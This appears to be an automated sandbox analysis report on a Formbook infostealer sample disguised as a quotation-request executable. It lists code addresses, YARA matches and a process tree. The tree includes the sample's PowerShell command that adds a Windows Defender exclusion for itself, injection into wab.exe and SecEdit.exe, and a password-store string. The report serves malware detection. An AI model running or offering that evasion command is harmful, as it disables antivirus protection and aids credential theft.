Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036CDAAC	4_2_036CDAAC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03675AA0	4_2_03675AA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362EA80	4_2_0362EA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03646962	4_2_03646962
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03639950	4_2_03639950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B950	4_2_0364B950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036329A0	4_2_036329A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036FA9A6	4_2_036FA9A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363A840	4_2_0363A840
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369D800	4_2_0369D800
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036338E0	4_2_036338E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365E8F0	4_2_0365E8F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036168B8	4_2_036168B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A4F40	4_2_036A4F40
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03672F28	4_2_03672F28
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03650F30	4_2_03650F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EFF09	4_2_036EFF09
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363CFE0	4_2_0363CFE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03622FC8	4_2_03622FC8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EFFB1	4_2_036EFFB1
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631F92	4_2_03631F92
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630E59	4_2_03630E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EEE26	4_2_036EEE26
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036EEEDB	4_2_036EEEDB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03639EB0	4_2_03639EB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03642E90	4_2_03642E90
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036ECE93	4_2_036ECE93
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E7D73	4_2_036E7D73
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03633D40	4_2_03633D40
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E1D5A	4_2_036E1D5A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363AD00	4_2_0363AD00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362ADE0	4_2_0362ADE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364FDC0	4_2_0364FDC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03648DBF	4_2_03648DBF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A9C32	4_2_036A9C32
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630C00	4_2_03630C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03620CF2	4_2_03620CF2
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D0CB5	4_2_036D0CB5
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309132D	12_2_0309132D
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FFB2C0	12_2_02FFB2C0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309A352	12_2_0309A352
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE52A0	12_2_02FE52A0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0302739A	12_2_0302739A
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030A03E6	12_2_030A03E6
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FEE3F0	12_2_02FEE3F0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03080274	12_2_03080274
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FCD34C	12_2_02FCD34C
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030812ED	12_2_030812ED
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0307A118	12_2_0307A118
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE70C0	12_2_02FE70C0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030AB16B	12_2_030AB16B
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0301516C	12_2_0301516C
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030A01AA	12_2_030A01AA
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030981CC	12_2_030981CC
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FEB1B0	12_2_02FEB1B0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FCF172	12_2_02FCF172
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0308F0CC	12_2_0308F0CC
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030970E9	12_2_030970E9
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309F0E0	12_2_0309F0E0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FD0100	12_2_02FD0100
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FFC6E0	12_2_02FFC6E0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03004750	12_2_03004750
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309F7B0	12_2_0309F7B0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FD17EC	12_2_02FD17EC
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FDC7C0	12_2_02FDC7C0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE0770	12_2_02FE0770
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030916CC	12_2_030916CC
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03097571	12_2_03097571
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030A0591	12_2_030A0591
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FD1460	12_2_02FD1460
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0307D5B0	12_2_0307D5B0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309F43F	12_2_0309F43F
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03092446	12_2_03092446
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE0535	12_2_02FE0535
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0308E4F6	12_2_0308E4F6
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FDEA80	12_2_02FDEA80
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309FB76	12_2_0309FB76
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03096BD7	12_2_03096BD7
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0301DBF9	12_2_0301DBF9
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309FA49	12_2_0309FA49
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03097A46	12_2_03097A46
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03053A6C	12_2_03053A6C
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FFFB80	12_2_02FFFB80
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03025AA0	12_2_03025AA0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0307DAAC	12_2_0307DAAC
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0308DAC6	12_2_0308DAC6
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE38E0	12_2_02FE38E0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FC68B8	12_2_02FC68B8
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_030AA9A6	12_2_030AA9A6
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FEA840	12_2_02FEA840
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE29A0	12_2_02FE29A0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FF6962	12_2_02FF6962
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE9950	12_2_02FE9950
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FFB950	12_2_02FFB950
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0300E8F0	12_2_0300E8F0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309FF09	12_2_0309FF09
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03022F28	12_2_03022F28
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03000F30	12_2_03000F30
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03054F40	12_2_03054F40
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE9EB0	12_2_02FE9EB0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FF2E90	12_2_02FF2E90
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE0E59	12_2_02FE0E59
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309FFB1	12_2_0309FFB1
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FECFE0	12_2_02FECFE0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309EE26	12_2_0309EE26
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FD2FC8	12_2_02FD2FC8
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE1F92	12_2_02FE1F92
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309CE93	12_2_0309CE93
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0309EEDB	12_2_0309EEDB
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FD0CF2	12_2_02FD0CF2
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03091D5A	12_2_03091D5A
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03097D73	12_2_03097D73
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE0C00	12_2_02FE0C00
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FDADE0	12_2_02FDADE0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03059C32	12_2_03059C32
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FFFDC0	12_2_02FFFDC0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FF8DBF	12_2_02FF8DBF
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_03080CB5	12_2_03080CB5
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FE3D40	12_2_02FE3D40
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02FEAD00	12_2_02FEAD00
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_00581760	12_2_00581760
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_005711A1	12_2_005711A1
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_005832C0	12_2_005832C0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0059A290	12_2_0059A290
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0057C940	12_2_0057C940
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0057C939	12_2_0057C939
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0057CB60	12_2_0057CB60
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0057ABD7	12_2_0057ABD7
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_0057ABE0	12_2_0057ABE0
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02DFB208	12_2_02DFB208
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02DFA3FC	12_2_02DFA3FC
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02DFC19C	12_2_02DFC19C
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02DFA466	12_2_02DFA466
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02DFA437	12_2_02DFA437
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02DFBE03	12_2_02DFBE03
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 12_2_02DFBCE4	12_2_02DFBCE4

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 036AF290 appears 105 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 03665130 appears 36 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 0369EA12 appears 86 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 0361B970 appears 271 times
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: String function: 03677E54 appears 89 times
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: String function: 0305F290 appears 105 times
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: String function: 03027E54 appears 86 times
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: String function: 03015130 appears 36 times
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: String function: 02FCB970 appears 269 times
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: String function: 0304EA12 appears 84 times

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7448 -s 1404

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Static PE information: No import functions for PE file found

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe, 00000000.00000000.1336075939.0000023E06587000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameArkhangelsk.exe4 vs z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe
Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Binary or memory string: OriginalFilenameArkhangelsk.exe4 vs z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Source: 4.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 4.2.wab.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1543223916.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3791309968.0000000002A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.3795206841.00000000053A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1542801016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3791449632.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3790655186.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3792934989.0000000004160000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1543864387.0000000004D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@17/11@17/10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7448

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g4m11nsi.hvv.ps1

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: SecEdit.exe, 0000000C.00000002.3795946825.0000000007944000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3791538876.0000000002BE4000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3791538876.0000000002BE8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

File read: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Source: unknown	Process created: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe "C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe"
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7448 -s 1404
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	Process created: C:\Windows\SysWOW64\SecEdit.exe "C:\Windows\SysWOW64\SecEdit.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"
Source: C:\Windows\SysWOW64\SecEdit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	Process created: C:\Windows\SysWOW64\SecEdit.exe "C:\Windows\SysWOW64\SecEdit.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Section loaded: userenv.dll	Jump to behavior
